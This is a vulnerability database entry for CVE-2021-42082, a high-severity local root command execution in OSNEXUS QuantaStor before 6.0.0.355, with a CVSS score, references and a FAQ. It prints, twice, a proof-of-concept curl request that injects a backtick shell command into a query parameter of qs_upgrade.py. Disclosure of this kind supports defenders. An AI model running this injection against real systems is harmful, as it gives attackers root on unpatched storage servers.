Vulnerability Description
Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
CVSS Score
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions |
|---|---|---|
| Osnexus | Quantastor | < 6.0.0.355 |
Related Weaknesses (CWE)
References
- https://csirt.divd.nl/CVE-2021-42082Third Party Advisory
- https://csirt.divd.nl/DIVD-2021-00020/
- https://www.osnexus.com/products/software-defined-storageProduct
- https://www.wbsec.nl/osnexusThird Party Advisory
- https://csirt.divd.nl/CVE-2021-42082Third Party Advisory
- https://www.divd.nl/DIVD-2021-00020
- https://www.osnexus.com/products/software-defined-storageProduct
- https://www.wbsec.nl/osnexusThird Party Advisory
FAQ
What is CVE-2021-42082?
CVE-2021-42082 is a vulnerability with a CVSS score of 7.8 (HIGH). Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
How severe is CVE-2021-42082?
CVE-2021-42082 has been rated HIGH with a CVSS base score of 7.8/10. Review the CVSS metrics above for detailed severity breakdown.
Is there a patch for CVE-2021-42082?
Check the references section above for vendor advisories and patch information. Affected products include: Osnexus Quantastor.